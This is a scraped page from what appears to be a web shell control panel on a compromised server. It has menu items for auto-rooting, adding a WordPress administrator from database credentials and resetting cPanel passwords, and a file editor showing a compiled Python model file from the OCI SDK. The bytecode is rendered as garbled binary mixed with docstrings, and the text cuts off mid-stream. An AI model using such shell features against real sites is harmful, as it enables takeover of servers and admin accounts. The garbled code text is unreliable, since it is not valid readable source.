Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
opsi
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: host_memory_usage.cpython-39.pyc
a ���fsB � @ sD d dl mZ ddlmZmZmZ ddlmZ eG dd� de��ZdS )� )�HostPerformanceMetricGroup� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdd� Zedd� �Zejdd� �Zedd� �Zejd d� �Zed d� �Z e jdd� �Z ed d� �Z e jdd� �Z edd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Z e jdd� �Z edd� �Zejdd� �Zedd� �Zejdd� �Zedd � �Zejd!d � �Zed"d#� �Zejd$d#� �Zed%d&� �Zejd'd&� �Zed(d)� �Zejd*d)� �Zed+d,� �Zejd-d,� �Zd.d/� Zd0d1� Zd2d3� Zd4S )5�HostMemoryUsagez* Memory usage metric for the host c K s� ddddddddddddddddd�| _ dddd d ddd ddddddddd�| _d| _d| _d| _d| _d| _d| _d| _d| _ d| _ d| _d| _d| _ d| _d| _d| _d| _d| _dS )a. Initializes a new HostMemoryUsage object with values from keyword arguments. The default value of the :py:attr:`~oci.opsi.models.HostMemoryUsage.metric_name` attribute of this class is ``HOST_MEMORY_USAGE`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param metric_name: The value to assign to the metric_name property of this HostMemoryUsage. Allowed values for this property are: "HOST_CPU_USAGE", "HOST_MEMORY_USAGE", "HOST_NETWORK_ACTIVITY_SUMMARY", "HOST_TOP_PROCESSES", "HOST_FILESYSTEM_USAGE", "HOST_GPU_USAGE", "HOST_GPU_PROCESSES", "HOST_IO_USAGE", "HOST_CONTAINERS" :type metric_name: str :param time_collected: The value to assign to the time_collected property of this HostMemoryUsage. :type time_collected: datetime :param memory_used_in_gb: The value to assign to the memory_used_in_gb property of this HostMemoryUsage. :type memory_used_in_gb: float :param memory_utilization_in_percent: The value to assign to the memory_utilization_in_percent property of this HostMemoryUsage. :type memory_utilization_in_percent: float :param memory_load_in_gb: The value to assign to the memory_load_in_gb property of this HostMemoryUsage. :type memory_load_in_gb: float :param real_memory_in_kb: The value to assign to the real_memory_in_kb property of this HostMemoryUsage. :type real_memory_in_kb: float :param free_memory_in_kb: The value to assign to the free_memory_in_kb property of this HostMemoryUsage. :type free_memory_in_kb: float :param logical_memory_used_in_gb: The value to assign to the logical_memory_used_in_gb property of this HostMemoryUsage. :type logical_memory_used_in_gb: float :param logical_memory_utilization_in_percent: The value to assign to the logical_memory_utilization_in_percent property of this HostMemoryUsage. :type logical_memory_utilization_in_percent: float :param free_logical_memory_in_kb: The value to assign to the free_logical_memory_in_kb property of this HostMemoryUsage. :type free_logical_memory_in_kb: float :param major_page_faults: The value to assign to the major_page_faults property of this HostMemoryUsage. :type major_page_faults: int :param swap_free_in_kb: The value to assign to the swap_free_in_kb property of this HostMemoryUsage. :type swap_free_in_kb: float :param anon_huge_pages_in_kb: The value to assign to the anon_huge_pages_in_kb property of this HostMemoryUsage. :type anon_huge_pages_in_kb: float :param huge_pages_free: The value to assign to the huge_pages_free property of this HostMemoryUsage. :type huge_pages_free: int :param huge_pages_reserved: The value to assign to the huge_pages_reserved property of this HostMemoryUsage. :type huge_pages_reserved: int :param huge_pages_surplus: The value to assign to the huge_pages_surplus property of this HostMemoryUsage. :type huge_pages_surplus: int �strZdatetime�float�int)Zmetric_nameZtime_collected�memory_used_in_gb�memory_utilization_in_percent�memory_load_in_gb�real_memory_in_kb�free_memory_in_kb�logical_memory_used_in_gb�%logical_memory_utilization_in_percent�free_logical_memory_in_kb�major_page_faults�swap_free_in_kb�anon_huge_pages_in_kb�huge_pages_free�huge_pages_reserved�huge_pages_surplusZ metricNameZ timeCollectedZmemoryUsedInGBZmemoryUtilizationInPercentZmemoryLoadInGBZrealMemoryInKBZfreeMemoryInKBZlogicalMemoryUsedInGBZ!logicalMemoryUtilizationInPercentZfreeLogicalMemoryInKBZmajorPageFaultsZswapFreeInKBZanonHugePagesInKBZ hugePagesFreeZhugePagesReservedZhugePagesSurplusNZHOST_MEMORY_USAGE)Z swagger_typesZ attribute_mapZ_metric_nameZ_time_collected�_memory_used_in_gb�_memory_utilization_in_percent�_memory_load_in_gb�_real_memory_in_kb�_free_memory_in_kb�_logical_memory_used_in_gb�&_logical_memory_utilization_in_percent�_free_logical_memory_in_kb�_major_page_faults�_swap_free_in_kb�_anon_huge_pages_in_kb�_huge_pages_free�_huge_pages_reserved�_huge_pages_surplus)�self�kwargs� r* �E/usr/lib/python3.9/site-packages/oci/opsi/models/host_memory_usage.py�__init__ sf I��zHostMemoryUsage.__init__c C s | j S )z� Gets the memory_used_in_gb of this HostMemoryUsage. Amount of physical memory used in gigabytes :return: The memory_used_in_gb of this HostMemoryUsage. :rtype: float �r �r( r* r* r+ r � s z!HostMemoryUsage.memory_used_in_gbc C s || _ dS )z� Sets the memory_used_in_gb of this HostMemoryUsage. Amount of physical memory used in gigabytes :param memory_used_in_gb: The memory_used_in_gb of this HostMemoryUsage. :type: float Nr- )r( r r* r* r+ r � s c C s | j S )z� Gets the memory_utilization_in_percent of this HostMemoryUsage. Amount of physical memory used in percentage :return: The memory_utilization_in_percent of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r � s z-HostMemoryUsage.memory_utilization_in_percentc C s || _ dS )a Sets the memory_utilization_in_percent of this HostMemoryUsage. Amount of physical memory used in percentage :param memory_utilization_in_percent: The memory_utilization_in_percent of this HostMemoryUsage. :type: float Nr/ )r( r r* r* r+ r � s c C s | j S )z� Gets the memory_load_in_gb of this HostMemoryUsage. Load on memory in gigabytes :return: The memory_load_in_gb of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r � s z!HostMemoryUsage.memory_load_in_gbc C s || _ dS )z� Sets the memory_load_in_gb of this HostMemoryUsage. Load on memory in gigabytes :param memory_load_in_gb: The memory_load_in_gb of this HostMemoryUsage. :type: float Nr0 )r( r r* r* r+ r � s c C s | j S )z� Gets the real_memory_in_kb of this HostMemoryUsage. Amount of usable physical memory in kilobytes :return: The real_memory_in_kb of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r � s z!HostMemoryUsage.real_memory_in_kbc C s || _ dS )z� Sets the real_memory_in_kb of this HostMemoryUsage. Amount of usable physical memory in kilobytes :param real_memory_in_kb: The real_memory_in_kb of this HostMemoryUsage. :type: float Nr1 )r( r r* r* r+ r � s c C s | j S )z� Gets the free_memory_in_kb of this HostMemoryUsage. Amount of available physical memory in kilobytes :return: The free_memory_in_kb of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r � s z!HostMemoryUsage.free_memory_in_kbc C s || _ dS )z� Sets the free_memory_in_kb of this HostMemoryUsage. Amount of available physical memory in kilobytes :param free_memory_in_kb: The free_memory_in_kb of this HostMemoryUsage. :type: float Nr2 )r( r r* r* r+ r � s c C s | j S )z� Gets the logical_memory_used_in_gb of this HostMemoryUsage. Memory used excluding buffers and cache in gigabytes :return: The logical_memory_used_in_gb of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r s z)HostMemoryUsage.logical_memory_used_in_gbc C s || _ dS )a Sets the logical_memory_used_in_gb of this HostMemoryUsage. Memory used excluding buffers and cache in gigabytes :param logical_memory_used_in_gb: The logical_memory_used_in_gb of this HostMemoryUsage. :type: float Nr3 )r( r r* r* r+ r s c C s | j S )z� Gets the logical_memory_utilization_in_percent of this HostMemoryUsage. Amount of logical memory used in percentage :return: The logical_memory_utilization_in_percent of this HostMemoryUsage. :rtype: float �r r. r* r* r+ r " s z5HostMemoryUsage.logical_memory_utilization_in_percentc C s || _ dS )a Sets the logical_memory_utilization_in_percent of this HostMemoryUsage. Amount of logical memory used in percentage :param logical_memory_utilization_in_percent: The logical_memory_utilization_in_percent of this HostMemoryUsage. :type: float Nr4 )r( r r* r* r+ r . s c C s | j S )z� Gets the free_logical_memory_in_kb of this HostMemoryUsage. Amount of avaiable virtual memory in kilobytes :return: The free_logical_memory_in_kb of this HostMemoryUsage. :rtype: float �r! r. r* r* r+ r : s z)HostMemoryUsage.free_logical_memory_in_kbc C s || _ dS )z� Sets the free_logical_memory_in_kb of this HostMemoryUsage. Amount of avaiable virtual memory in kilobytes :param free_logical_memory_in_kb: The free_logical_memory_in_kb of this HostMemoryUsage. :type: float Nr5 )r( r r* r* r+ r F s c C s | j S )z� Gets the major_page_faults of this HostMemoryUsage. Number of major page faults :return: The major_page_faults of this HostMemoryUsage. :rtype: int �r"